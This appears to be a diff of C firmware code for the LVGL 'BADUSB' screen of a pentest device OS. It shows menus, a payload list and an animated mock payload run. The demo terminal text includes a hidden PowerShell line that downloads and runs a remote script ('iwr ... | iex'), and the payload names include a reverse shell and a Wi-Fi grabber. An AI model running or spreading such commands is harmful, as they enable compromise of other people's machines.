+#define TERM_HEADER_Y 0 +#define TERM_BODY_Y 18 + +#define TYPE_TICK_MS 42 +#define CURSOR_BLINK_TICKS 9 + +#define DELIVERY_W 214 +#define DELIVERY_H 36 +#define DELIVERY_Y 46 +#define DELIVERY_NODE_W 40 +#define DELIVERY_NODE_H 30 +#define DELIVERY_TRACK_H 2 +#define DELIVERY_PACKET 8 +#define DELIVERY_PACKET_COUNT 3 +#define DELIVERY_TRAVEL_MS 900 +#define DELIVERY_STAGGER_MS 300 + +#define PROGRESS_W 214 +#define PROGRESS_H 8 +#define PROGRESS_Y 252 +#define PROGRESS_RADIUS 4 +#define PROGRESS_TRACK_COLOR 0x10211A +#define PCT_LABEL_Y 230 +#define PCT_LABEL_TEXT "Transferring payload" + +#define CONFIRM_Y_OFS -28 +#define INSTRUCT_Y_OFS -8 + +#define TERMINAL_BUF_LEN 320 + +#define TERM_PROMPT "root@target:~#" +#define DETECT_STATUS "Detecting target" +#define CONFIRM_TEXT LV_SYMBOL_OK " Payload delivered" +#define INSTRUCT_TEXT "RIGHT = Run again BACK = Exit" + +#define LAYOUT_ACTIVE_DEFAULT 4 +#define SIG_GREEN 0x00E676 + +#define INFO_PANEL_W 200 +#define INFO_PANEL_H 120 +#define INFO_PANEL_RADIUS 10 +#define INFO_ROW_GAP 24 +#define INFO_FIRST_ROW_Y 14 +#define INFO_LABEL_X 12 + +static const struct { + const char *name; + const char *icon; +} MENU_ITEMS[] = { + {"Run Payload", "/assets/icons/package_delivery_icon.bin"}, + {"Payloads", "/assets/icons/file_icon.bin"}, + {"Keyboard Layout", "/assets/icons/keyboard_icon.bin"}, + {"USB Status", "/assets/icons/config_icon.bin"}, +}; +#define MENU_ITEM_COUNT ((int)(sizeof(MENU_ITEMS) / sizeof(MENU_ITEMS[0]))) + +#define IDX_RUN_PAYLOAD 0 +#define IDX_PAYLOADS 1 +#define IDX_LAYOUT 2 +#define IDX_STATUS 3 + +static const char *PAYLOADS[] = { + "rickroll.duck", + "wifi_grab.duck", + "lock_pc.duck", + "hello_world.duck", + "reverse_shell.duck", +}; +#define PAYLOAD_COUNT ((int)(sizeof(PAYLOADS) / sizeof(PAYLOADS[0]))) + +static const char *SCRIPT_LINES[] = { + "$ delay 500", + "$ GUI r", + "$ powershell -nop -w hidden", + "$ iwr http://10.0.0.6/x.ps1 | iex", + "$ payload staged", + "$ done.", +}; +#define SCRIPT_LINE_COUNT ((int)(sizeof(SCRIPT_LINES) / sizeof(SCRIPT_LINES[0]))) + +static const char *LAYOUTS[] = {"US", "UK", "DE", "FR", "BR"}; +#define LAYOUT_COUNT ((int)(sizeof(LAYOUTS) / sizeof(LAYOUTS[0]))) + +static const struct { + const char *label; + const char *value; +} STATUS_ROWS[] = { + {"USB", "HID Keyboard"}, + {"VID:PID", "046D:C31C"}, + {"Speed", "Full"}, + {"State", "Ready"}, +}; +#define STATUS_ROW_COUNT ((int)(sizeof(STATUS_ROWS) / sizeof(STATUS_ROWS[0]))) + +typedef enum { + RUN_STAGE_DETECTING = 0, + RUN_STAGE_TYPING, + RUN_STAGE_DONE, +} run_stage_t; + +typedef enum { + VIEW_LIST = 0, + VIEW_PAYLOADS, + VIEW_RUNNING, + VIEW_LAYOUT, + VIEW_STATUS, +} view_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static view_t s_view = VIEW_LIST; + +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_stage_timer = NULL; +static lv_timer_t *s_type_timer = NULL; + +static int s_payload_sel = 0; +static int s_layout_active = LAYOUT_ACTIVE_DEFAULT; + +static run_stage_t s_run_stage = RUN_STAGE_DETECTING; +static lv_obj_t *s_status_lbl = NULL; +static lv_obj_t *s_detect_group = NULL; +static lv_obj_t *s_delivery_group = NULL; +static lv_obj_t *s_term_lbl = NULL; +static lv_obj_t *s_progress = NULL; +static lv_obj_t *s_pct_lbl = NULL; + +static char s_term_buf[TERMINAL_BUF_LEN]; +static int s_type_line = 0; +static int s_type_col = 0; +static int s_typed_chars = 0; +static int s_total_chars = 0; +static int s_cursor_ticks = 0; +static bool s_cursor_on = true; + +static bool s_up_last = false; +static bool s_down_last = false; +static bool s_left_last = false; +static bool s_right_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; + +static void nav_timer_cb(lv_timer_t *t); +static void build_screen(void); +static void stage_advance_cb(lv_timer_t *t); +static void type_tick_cb(lv_timer_t *t); + +static void stop_stage_timer(void) { + if (s_stage_timer != NULL) { + lv_timer_delete(s_stage_timer); + s_stage_timer = NULL; + } +} + +static void stop_type_timer(void) { + if (s_type_timer != NULL) { + lv_timer_delete(s_type_timer); + s_type_timer = NULL; + } +} + +static void opa_anim_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void translate_x_cb(void *var, int32_t v) { + lv_obj_set_style_translate_x((lv_obj_t *)var, v, 0); +} + +static void fade_in(lv_obj_t *obj, uint32_t duration_ms) { + lv_obj_set_style_opa(obj, LV_OPA_TRANSP, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, obj); + lv_anim_set_exec_cb(&a, opa_anim_cb); + lv_anim_set_values(&a, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_duration(&a, duration_ms); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); +} + +static void build_running_header(void) { + lv_obj_t *title = lv_label_create(s_screen); + lv_label_set_text(title, RUN_HEADER_TITLE); + lv_obj_set_style_text_color(title, current_theme.border_accent, 0); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, RUN_HEADER_TITLE_Y); + + lv_obj_t *rule = lv_obj_create(s_screen); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(rule, lv_pct(RUN_RULE_W_PCT), RUN_RULE_H); + lv_obj_align(rule, LV_ALIGN_TOP_MID, 0, RUN_RULE_Y); + lv_obj_set_style_border_width(rule, 0, 0); + lv_obj_set_style_radius(rule, 1, 0); + lv_obj_set_style_bg_color(rule, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(rule, LV_OPA_40, 0); +} + +static void build_title(const char *text) { + lv_obj_t *top_area = lv_obj_create(s_screen); + lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); + lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); + lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_WIDTH, 0); + lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); + lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); + lv_obj_set_style_radius(top_area, 0, 0); + lv_obj_set_style_pad_all(top_area, 0, 0); + + lv_obj_t *title_bar = lv_obj_create(top_area); + lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); + lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); + lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(title_bar, TITLE_BAR_RADIUS, 0); + lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_border_width(title_bar, TITLE_BAR_BORDER_WIDTH, 0); + lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); + + lv_obj_t *title_lbl = lv_label_create(title_bar); + lv_label_set_text(title_lbl, text); + lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_14, 0); + lv_obj_center(title_lbl); +} + +static void build_detecting(void) { + s_status_lbl = lv_label_create(s_screen); + lv_label_set_text(s_status_lbl, DETECT_STATUS); + lv_obj_set_style_text_color(s_status_lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_status_lbl, &lv_font_montserrat_14, 0); + lv_obj_align(s_status_lbl, LV_ALIGN_TOP_MID, 0, STATUS_Y_OFS); + + lv_anim_t blink; + lv_anim_init(&blink); + lv_anim_set_var(&blink, s_status_lbl); + lv_anim_set_exec_cb(&blink, opa_anim_cb); + lv_anim_set_values(&blink, LV_OPA_40, LV_OPA_COVER); + lv_anim_set_duration(&blink, STATUS_BLINK_MS); + lv_anim_set_playback_duration(&blink, STATUS_BLINK_MS); + lv_anim_set_repeat_count(&blink, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&blink, lv_anim_path_ease_in_out); + lv_anim_start(&blink); + + s_detect_group = lv_obj_create(s_screen); + lv_obj_remove_flag(s_detect_group, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_detect_group, lv_pct(100), lv_pct(100)); + lv_obj_align(s_detect_group, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_bg_opa(s_detect_group, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(s_detect_group, 0, 0); + lv_obj_set_style_pad_all(s_detect_group, 0, 0); + + waves_create(s_detect_group, LV_ALIGN_CENTER, 0, 0, NULL, "/assets/icons/usb_icon.bin"); + + int total_w = DOT_COUNT * DOT_SIZE + (DOT_COUNT - 1) * DOT_GAP; + int x0 = -(total_w / 2) + DOT_SIZE / 2; + for (int i = 0; i < DOT_COUNT; i++) { + lv_obj_t *dot = lv_obj_create(s_detect_group); + lv_obj_remove_flag(dot, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(dot, DOT_SIZE, DOT_SIZE); + lv_obj_align(dot, LV_ALIGN_CENTER, x0 + i * (DOT_SIZE + DOT_GAP), DOT_Y_OFS); + lv_obj_set_style_radius(dot, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_border_width(dot, 0, 0); + lv_obj_set_style_bg_opa(dot, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(dot, current_theme.border_accent, 0); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, dot); + lv_anim_set_exec_cb(&a, opa_anim_cb); + lv_anim_set_values(&a, LV_OPA_30, LV_OPA_COVER); + lv_anim_set_duration(&a, DOT_PULSE_MS); + lv_anim_set_playback_duration(&a, DOT_PULSE_MS); + lv_anim_set_delay(&a, i * DOT_STAGGER_MS); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); + } +} + +static void build_terminal(void) { + lv_obj_t *panel = lv_obj_create(s_screen); + lv_obj_remove_flag(panel, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(panel, TERMINAL_W, TERMINAL_H); + lv_obj_align(panel, LV_ALIGN_TOP_MID, 0, TERMINAL_TOP_Y); + lv_obj_set_style_radius(panel, TERMINAL_RADIUS, 0); + lv_obj_set_style_bg_opa(panel, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(panel, lv_color_hex(DARK_PANEL_COLOR), 0); + lv_obj_set_style_border_width(panel, TERMINAL_BORDER, 0); + lv_obj_set_style_border_color(panel, lv_color_hex(TERM_GREEN), 0); + lv_obj_set_style_border_opa(panel, LV_OPA_70, 0); + lv_obj_set_style_shadow_color(panel, lv_color_hex(TERM_GREEN), 0); + lv_obj_set_style_shadow_width(panel, 12, 0); + lv_obj_set_style_shadow_opa(panel, LV_OPA_20, 0); + lv_obj_set_style_pad_all(panel, TERMINAL_PAD, 0); + + lv_obj_t *prompt = lv_label_create(panel); + lv_label_set_text(prompt, TERM_PROMPT); + lv_obj_set_style_text_color(prompt, lv_color_hex(TERM_DIM_GREEN), 0); + lv_obj_set_style_text_font(prompt, &lv_font_montserrat_12, 0); + lv_obj_align(prompt, LV_ALIGN_TOP_LEFT, 0, TERM_HEADER_Y); + + s_term_lbl = lv_label_create(panel); + lv_label_set_text(s_term_lbl, ""); + lv_obj_set_width(s_term_lbl, TERMINAL_W - TERMINAL_PAD * 2); + lv_label_set_long_mode(s_term_lbl, LV_LABEL_LONG_WRAP); + lv_obj_set_style_text_color(s_term_lbl, lv_color_hex(TERM_GREEN), 0); + lv_obj_set_style_text_font(s_term_lbl, &lv_font_montserrat_12, 0); + lv_obj_align(s_term_lbl, LV_ALIGN_TOP_LEFT, 0, TERM_BODY_Y); + + s_pct_lbl = lv_label_create(s_screen); + lv_label_set_text(s_pct_lbl, PCT_LABEL_TEXT " 0%"); + lv_obj_set_style_text_color(s_pct_lbl, lv_color_hex(TERM_GREEN), 0); + lv_obj_set_style_text_font(s_pct_lbl, &lv_font_montserrat_12, 0); + lv_obj_align(s_pct_lbl, LV_ALIGN_TOP_MID, 0, PCT_LABEL_Y); + + s_progress = lv_bar_create(s_screen); + lv_obj_set_size(s_progress, PROGRESS_W, PROGRESS_H); + lv_obj_align(s_progress, LV_ALIGN_TOP_MID, 0, PROGRESS_Y); + lv_bar_set_range(s_progress, 0, 100); + lv_bar_set_value(s_progress, 0, LV_ANIM_OFF); + lv_obj_set_style_bg_color(s_progress, lv_color_hex(PROGRESS_TRACK_COLOR), LV_PART_MAIN); + lv_obj_set_style_bg_opa(s_progress, LV_OPA_COVER, LV_PART_MAIN); + lv_obj_set_style_border_width(s_progress, 1, LV_PART_MAIN); + lv_obj_set_style_border_color(s_progress, lv_color_hex(TERM_DIM_GREEN), LV_PART_MAIN); + lv_obj_set_style_bg_color(s_progress, lv_color_hex(TERM_DIM_GREEN), LV_PART_INDICATOR); + lv_obj_set_style_bg_grad_color(s_progress, lv_color_hex(TERM_GREEN), LV_PART_INDICATOR); + lv_obj_set_style_bg_grad_dir(s_progress, LV_GRAD_DIR_HOR, LV_PART_INDICATOR); + lv_obj_set_style_bg_opa(s_progress, LV_OPA_COVER, LV_PART_INDICATOR); + lv_obj_set_style_radius(s_progress, PROGRESS_RADIUS, LV_PART_MAIN); + lv_obj_set_style_radius(s_progress, PROGRESS_RADIUS, LV_PART_INDICATOR); +} + +static void build_delivery(void) { + s_delivery_group = lv_obj_create(s_screen); + lv_obj_remove_flag(s_delivery_group, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_delivery_group, DELIVERY_W, DELIVERY_H); + lv_obj_align(s_delivery_group, LV_ALIGN_TOP_MID, 0, DELIVERY_Y); + lv_obj_set_style_bg_opa(s_delivery_group, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(s_delivery_group, 0, 0); + lv_obj_set_style_pad_all(s_delivery_group, 0, 0); + + int track_x0 = DELIVERY_NODE_W; + int track_x1 = DELIVERY_W - DELIVERY_NODE_W; + int track_len = track_x1 - track_x0; + + lv_obj_t *track = lv_obj_create(s_delivery_group); + lv_obj_remove_flag(track, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(track, track_len, DELIVERY_TRACK_H); + lv_obj_align(track, LV_ALIGN_LEFT_MID, track_x0, 0); + lv_obj_set_style_border_width(track, 0, 0); + lv_obj_set_style_radius(track, 1, 0); + lv_obj_set_style_bg_color(track, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(track, LV_OPA_30, 0); + + const char *NODE_TEXT[2] = {"HOST", "HID"}; + for (int n = 0; n < 2; n++) { + lv_obj_t *node = lv_obj_create(s_delivery_group); + lv_obj_remove_flag(node, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(node, DELIVERY_NODE_W, DELIVERY_NODE_H); + lv_obj_align(node, n == 0 ? LV_ALIGN_LEFT_MID : LV_ALIGN_RIGHT_MID, 0, 0); + lv_obj_set_style_radius(node, 4, 0); + lv_obj_set_style_pad_all(node, 0, 0); + lv_obj_set_style_bg_color(node, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(node, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(node, 1, 0); + lv_obj_set_style_border_color(node, current_theme.border_accent, 0); + + lv_obj_t *lbl = lv_label_create(node); + lv_label_set_text(lbl, NODE_TEXT[n]); + lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); + lv_obj_center(lbl); + } + + for (int i = 0; i < DELIVERY_PACKET_COUNT; i++) { + lv_obj_t *pkt = lv_obj_create(s_delivery_group); + lv_obj_remove_flag(pkt, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(pkt, DELIVERY_PACKET, DELIVERY_PACKET); + lv_obj_align(pkt, LV_ALIGN_LEFT_MID, track_x0, 0); + lv_obj_set_style_radius(pkt, 2, 0); + lv_obj_set_style_border_width(pkt, 0, 0); + lv_obj_set_style_bg_color(pkt, lv_color_hex(TERM_GREEN), 0); + lv_obj_set_style_bg_opa(pkt, LV_OPA_COVER, 0); + lv_obj_set_style_shadow_color(pkt, lv_color_hex(TERM_GREEN), 0); + lv_obj_set_style_shadow_width(pkt, 6, 0); + lv_obj_set_style_shadow_opa(pkt, LV_OPA_50, 0); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, pkt); + lv_anim_set_exec_cb(&a, translate_x_cb); + lv_anim_set_values(&a, 0, track_len - DELIVERY_PACKET); + lv_anim_set_duration(&a, DELIVERY_TRAVEL_MS); + lv_anim_set_delay(&a, i * DELIVERY_STAGGER_MS); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); + } +} + +static void render_terminal(void) { + s_term_buf[0] = '\0'; + int pos = 0; + for (int i = 0; i < s_type_line && i < SCRIPT_LINE_COUNT; i++) { + pos += snprintf(s_term_buf + pos, TERMINAL_BUF_LEN - pos, "%s\n", SCRIPT_LINES[i]); + if (pos >= TERMINAL_BUF_LEN) + pos = TERMINAL_BUF_LEN - 1; + } + if (s_type_line < SCRIPT_LINE_COUNT) { + pos += snprintf( + s_term_buf + pos, TERMINAL_BUF_LEN - pos, "%.*s", s_type_col, SCRIPT_LINES[s_type_line]); + if (pos >= TERMINAL_BUF_LEN) + pos = TERMINAL_BUF_LEN - 1; + } + if (s_cursor_on && pos < TERMINAL_BUF_LEN - 2) { + s_term_buf[pos++] = '_'; + s_term_buf[pos] = '\0'; + } + if (s_term_lbl) + lv_label_set_text(s_term_lbl, s_term_buf); +} + +static void type_tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen || s_view != VIEW_RUNNING) { + lv_timer_delete(t); + s_type_timer = NULL; + return; + } + + s_cursor_ticks++; + if (s_cursor_ticks >= CURSOR_BLINK_TICKS) { + s_cursor_ticks = 0; + s_cursor_on = !s_cursor_on; + } + + if (s_type_line < SCRIPT_LINE_COUNT) { + int line_len = (int)strlen(SCRIPT_LINES[s_type_line]); + if (s_type_col < line_len) { + s_type_col++; + s_typed_chars++; + } else { + s_type_line++; + s_type_col = 0; + } + if (s_total_chars > 0) { + int pct = s_typed_chars * 100 / s_total_chars; + if (s_progress) + lv_bar_set_value(s_progress, pct, LV_ANIM_OFF); + if (s_pct_lbl) { + char buf[40]; + snprintf(buf, sizeof(buf), "%s %d%%", PCT_LABEL_TEXT, pct); + lv_label_set_text(s_pct_lbl, buf); + } + } + render_terminal(); + } else { + render_terminal(); + lv_timer_delete(t); + s_type_timer = NULL; + if (s_progress) + lv_bar_set_value(s_progress, 100, LV_ANIM_ON); + if (s_pct_lbl) + lv_label_set_text(s_pct_lbl, PCT_LABEL_TEXT " 100%"); + s_run_stage = RUN_STAGE_DONE; + s_stage_timer = lv_timer_create(stage_advance_cb, DONE_DELAY_MS, NULL); + lv_timer_set_repeat_count(s_stage_timer, 1); + } +} + +static void enter_stage_typing(void) { + if (s_detect_group != NULL) { + lv_obj_del(s_detect_group); + s_detect_group = NULL; + } + if (s_status_lbl != NULL) { + lv_obj_del(s_status_lbl); + s_status_lbl = NULL; + } + + s_type_line = 0; + s_type_col = 0; + s_typed_chars = 0; + s_cursor_ticks = 0; + s_cursor_on = true; + s_total_chars = 0; + for (int i = 0; i < SCRIPT_LINE_COUNT; i++) + s_total_chars += (int)strlen(SCRIPT_LINES[i]); + + build_delivery(); + build_terminal(); + render_terminal(); + fade_in(s_term_lbl, FADE_MS); + + s_type_timer = lv_timer_create(type_tick_cb, TYPE_TICK_MS, NULL); +} + +static void show_done(void) { + if (s_delivery_group != NULL) { + lv_obj_del(s_delivery_group); + s_delivery_group = NULL; + } + + lv_obj_t *confirm = lv_label_create(s_screen); + lv_label_set_text(confirm, CONFIRM_TEXT); + lv_obj_set_style_text_color(confirm, lv_color_hex(TERM_GREEN), 0); + lv_obj_set_style_text_font(confirm, &lv_font_montserrat_14, 0); + lv_obj_align(confirm, LV_ALIGN_BOTTOM_MID, 0, CONFIRM_Y_OFS); + fade_in(confirm, FADE_MS); + + ui_chrome_footer(s_screen, INSTRUCT_TEXT); + + ESP_LOGI(TAG, "mock payload run done: %s", PAYLOADS[s_payload_sel]); + ui_feedback(UI_FB_WRITE); +} + +static void stage_advance_cb(lv_timer_t *t) { + (void)t; + s_stage_timer = NULL; + if (lv_screen_active() != s_screen || s_view != VIEW_RUNNING) + return; + + if (s_run_stage == RUN_STAGE_DETECTING) { + s_run_stage = RUN_STAGE_TYPING; + enter_stage_typing(); + return; + } + + if (s_run_stage == RUN_STAGE_DONE) + show_done(); +} + +static void build_running(void) { + ui_chrome_header(s_screen, "BADUSB", "/assets/icons/usb_icon.bin"); + + s_run_stage = RUN_STAGE_DETECTING; + build_detecting(); + + s_stage_timer = lv_timer_create(stage_advance_cb, DETECT_MS, NULL); + lv_timer_set_repeat_count(s_stage_timer, 1); +} + +static void build_payloads(void) { + s_menu = menu_component_create(s_screen, "PAYLOADS", "/assets/icons/file_icon.bin"); + for (int i = 0; i < PAYLOAD_COUNT; i++) + menu_component_add_item(&s_menu, "/assets/icons/file_icon.bin", PAYLOADS[i]); + if (s_payload_sel > 0 && s_payload_sel < PAYLOAD_COUNT) + menu_component_select(&s_menu, s_payload_sel); + fade_in(s_menu.items_cont, FADE_MS); + fade_in(s_menu.title_bar, FADE_MS); +} + +static void build_layout(void) { + s_menu = menu_component_create(s_screen, "LAYOUT", "/assets/icons/keyboard_icon.bin"); + for (int i = 0; i < LAYOUT_COUNT; i++) { + menu_component_add_item(&s_menu, NULL, LAYOUTS[i]); + if (i == s_layout_active) + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(SIG_GREEN)); + } + menu_component_select(&s_menu, s_layout_active); + fade_in(s_menu.items_cont, FADE_MS); + fade_in(s_menu.title_bar, FADE_MS); +} + +static void build_status(void) { + ui_chrome_header(s_screen, "USB STATUS", "/assets/icons/config_icon.bin"); + + lv_obj_t *panel = lv_obj_create(s_screen); + lv_obj_remove_flag(panel, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(panel, INFO_PANEL_W, INFO_PANEL_H); + lv_obj_align(panel, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_radius(panel, INFO_PANEL_RADIUS, 0); + lv_obj_set_style_bg_opa(panel, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(panel, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(panel, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(panel, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(panel, TITLE_BAR_BORDER_WIDTH, 0); + lv_obj_set_style_border_color(panel, current_theme.border_accent, 0); + lv_obj_set_style_pad_all(panel, 0, 0); + + for (int i = 0; i < STATUS_ROW_COUNT; i++) { + lv_obj_t *label = lv_label_create(panel); + lv_label_set_text(label, STATUS_ROWS[i].label); + lv_obj_set_style_text_color(label, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(label, &lv_font_montserrat_12, 0); + lv_obj_align(label, LV_ALIGN_TOP_LEFT, INFO_LABEL_X, INFO_FIRST_ROW_Y + i * INFO_ROW_GAP); + + lv_obj_t *value = lv_label_create(panel); + lv_label_set_text(value, STATUS_ROWS[i].value); + bool is_ready = (i == STATUS_ROW_COUNT - 1); + lv_obj_set_style_text_color( + value, is_ready ? lv_color_hex(SIG_GREEN) : current_theme.text_main, 0); + lv_obj_set_style_text_font(value, &lv_font_montserrat_12, 0); + lv_obj_align(value, LV_ALIGN_TOP_RIGHT, -INFO_LABEL_X, INFO_FIRST_ROW_Y + i * INFO_ROW_GAP); + } + + fade_in(panel, FADE_MS); +} + +static void build_screen(void) { + stop_stage_timer(); + stop_type_timer(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_status_lbl = NULL; + s_detect_group = NULL; + s_delivery_group = NULL; + s_term_lbl = NULL; + s_progress = NULL; + s_pct_lbl = NULL; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_screen, 0, 0); + lv_obj_set_style_pad_all(s_screen, 0, 0); + + switch (s_view) { + case VIEW_PAYLOADS: + build_payloads(); + break; + case VIEW_RUNNING: + build_running(); + break; + case VIEW_LAYOUT: + build_layout(); + break; + case VIEW_STATUS: + build_status(); + break; + case VIEW_LIST: + default: + s_menu = menu_component_create(s_screen, "BADUSB", "/assets/icons/usb_icon.bin"); + for (int i = 0; i < MENU_ITEM_COUNT; i++) + menu_component_add_item(&s_menu, MENU_ITEMS[i].icon, MENU_ITEMS[i].name); + fade_in(s_menu.items_cont, FADE_MS); + fade_in(s_menu.title_bar, FADE_MS); + break; + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + switch (s_view) { + case VIEW_LIST: + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (ok && !s_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel == IDX_RUN_PAYLOAD) { + s_payload_sel = 0; + s_view = VIEW_RUNNING; + build_screen(); + goto latch; + } else if (sel == IDX_PAYLOADS) { + s_view = VIEW_PAYLOADS; + build_screen(); + goto latch; + } else if (sel == IDX_LAYOUT) { + s_view = VIEW_LAYOUT; + build_screen(); + goto latch; + } else if (sel == IDX_STATUS) { + s_view = VIEW_STATUS; + build_screen(); + goto latch; + } + } + if (back && !s_back_last) + ui_switch_screen(SCREEN_MENU); + break; + + case VIEW_PAYLOADS: + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (ok && !s_ok_last) { + s_payload_sel = menu_component_get_selected(&s_menu); + s_view = VIEW_RUNNING; + build_screen(); + goto latch; + } + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + case VIEW_RUNNING: + if (s_run_stage == RUN_STAGE_DONE && right && !s_right_last) { + build_screen(); + goto latch; + } + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + case VIEW_LAYOUT: + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (ok && !s_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && sel < LAYOUT_COUNT && sel != s_layout_active) { + menu_component_set_item_label_color(&s_menu, s_layout_active, current_theme.text_main); + s_layout_active = sel; + menu_component_set_item_label_color(&s_menu, s_layout_active, lv_color_hex(SIG_GREEN)); + ESP_LOGI(TAG, "mock layout set: %s", LAYOUTS[s_layout_active]); + } + } + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + case VIEW_STATUS: + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + return; + +latch: + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_badusb_menu_open(void) { + s_nav_timer = NULL; + s_stage_timer = NULL; + s_type_timer = NULL; + s_view = VIEW_LIST; + s_payload_sel = 0; + build_screen(); +} diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_menu.h b/firmware_p4/components/Applications/ui/screens/badusb/include/badusb_menu_ui.h similarity index 91% rename from firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_menu.h rename to firmware_p4/components/Applications/ui/screens/badusb/include/badusb_menu_ui.h index ba7ed0e61..20f4528e5 100644 --- a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_menu.h +++ b/firmware_p4/components/Applications/ui/screens/badusb/include/badusb_menu_ui.h @@ -13,8 +13,8 @@ // You should have received a copy of the GNU General Public License // along with TentacleOS. If not, see . -#ifndef UI_BADUSB_MENU_H -#define UI_BADUSB_MENU_H +#ifndef BADUSB_MENU_UI_H +#define BADUSB_MENU_UI_H #ifdef __cplusplus extern "C" { @@ -27,4 +27,4 @@ void ui_badusb_menu_open(void); } 